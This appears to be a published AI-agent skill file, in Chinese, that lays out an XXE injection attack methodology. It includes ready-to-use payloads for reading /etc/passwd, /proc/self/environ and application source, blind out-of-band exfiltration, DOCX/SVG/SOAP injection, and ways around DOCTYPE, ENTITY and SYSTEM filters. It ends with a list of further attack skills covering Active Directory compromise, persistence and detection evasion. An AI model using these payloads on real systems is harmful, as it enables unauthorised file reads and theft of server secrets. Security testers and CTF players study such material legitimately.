xxe-injection-methodology
$
npx mdskill add wgpsec/AboutSecurity/xxe-injection-methodologyExploit XML parsers to read files via XXE injection.
- Detects and exploits XXE vulnerabilities in SOAP, file upload, and JSON endpoints.
- Executes payloads using external DTDs, parameter entities, and blind out-of-band techniques.
- Selects attack vectors based on response presence, SOAP envelope structure, or Content-Type headers.
- Delivers file contents or out-of-band data through XML entity references or HTTP servers.
SKILL.md
.github/skills/xxe-injection-methodologyView on GitHub ↗
--- name: xxe-injection-methodology description: "XML外部实体注入(XXE)的检测与利用方法论。当目标有 XML 解析、SOAP API、文件上传(DOCX/XLSX/SVG)、或任何接受 XML 输入的端点时使用。包含基础文件读取、盲 XXE 外带(参数实体+外部DTD)、SVG/DOCX XXE、SOAP Envelope XXE、JSON→XML 转换攻击。即使 API 文档说只接受 JSON,也应尝试 XML Content-Type 测试隐式 XXE。" metadata: tags: "xxe,xml,xml external entity,blind-xxe,dtd,soap,svg,docx,file-read,oob,parameter-entity,application/xml,text/xml,DOCTYPE,ENTITY,外部实体,xml解析,Content-Type: xml" category: "exploit" --- # XXE 注入攻击方法论 ## 深入参考 - XXE 文件读取、盲 XXE 外带、SVG/DOCX XXE、SOAP XXE 完整 payload → [references/xxe-exploitation.md](references/xxe-exploitation.md) - XXE 高级技术(盲注/OOB/文件上传/XInclude/编码绕过) → [references/xxe-advanced.md](references/xxe-advanced.md) --- ## Phase 1: 发现 XXE 入口 - Content-Type: `application/xml` 或 `text/xml` 的端点 - **将 JSON 请求改为 XML**:即使端点接受 JSON,也尝试发 XML(很多后端同时支持两种格式) - 文件上传(DOCX, XLSX, SVG 都是 XML 格式) - SOAP API(URL 含 `/ws/`、`/soap/`、`/wsdl/`) ## Phase 2: 基础 XXE 文件读取 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><data>&xxe;</data></root> ``` **关键**:`&xxe;` 必须放在会被回显的 XML 元素里! ### 常见目标文件 ``` file:///flag.txt file:///flag file:///app/flag.txt file:///etc/passwd file:///app/app.py file:///proc/self/environ ``` ## Phase 3: 利用决策树 ``` XXE 入口确认 ├─ SOAP 端点? → XXE 必须嵌入 SOAP Envelope!→ [references/xxe-exploitation.md](references/xxe-exploitation.md) ├─ 有回显? → 直接 ENTITY file:/// 读文件 ├─ 无回显? → 盲 XXE 参数实体 + 外部 DTD 外带 │ └─ 用 bash 运行 `python3 -m http.server` 或 `nc -lvp PORT` 接收 OOB 回调 │ └─ [references/xxe-exploitation.md](references/xxe-exploitation.md) ├─ PHP 目标? → php://filter/convert.base64-encode 绕过 XML 特殊字符 └─ 文件上传入口? → SVG/DOCX XXE → [references/xxe-exploitation.md](references/xxe-exploitation.md) ``` ## Phase 4: PHP 特殊技巧 PHP 文件含 `<` 等特殊字符会破坏 XML 解析,使用 php://filter base64 编码绕过: ```xml <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/app/config.php"> ``` ## Phase 5: JSON → XML 转换攻击 有些后端同时支持 JSON 和 XML,解析器自动选择格式: ``` Content-Type: application/xml ``` ```xml <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]> <root><username>&xxe;</username><password>test</password></root> ``` 即使文档说 JSON,也尝试 XML Content-Type,可能存在隐式支持。 ## XXE 防御绕过 - `<!DOCTYPE>` 被过滤 → 尝试 UTF-16 编码 - `ENTITY` 被过滤 → 尝试参数实体 `%xxe;` - `SYSTEM` 被过滤 → 尝试 `PUBLIC "x" "file:///flag"` ## 注意事项 - **XXE 本质上包含 SSRF**:`SYSTEM "http://..."` 就是服务端请求 - **XML 解析器差异**:Python lxml 默认禁用外部实体;Java 老版本默认启用 - **盲 XXE 需要外部服务器**:参数实体外带需要你控制一台服务器接收数据 --- ## CTF XXE 技巧补充 ### DOCX/Office XML 上传 XXE DOCX 是 ZIP 包含 XML,修改 `[Content_Types].xml` 注入 XXE: ```bash unzip template.docx # 编辑 [Content_Types].xml 添加 DOCTYPE + ENTITY zip -r exploit.docx . # 上传后服务端解析 XML 时触发 XXE ``` ### XML 注入点扩展 除了常规请求体,检查这些注入点: - `X-Forwarded-For` 等 Header 被写入 XML 日志时 - SVG 文件上传(SVG 是 XML) - SOAP/SAML 端点 - RSS/Atom feed 输入
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|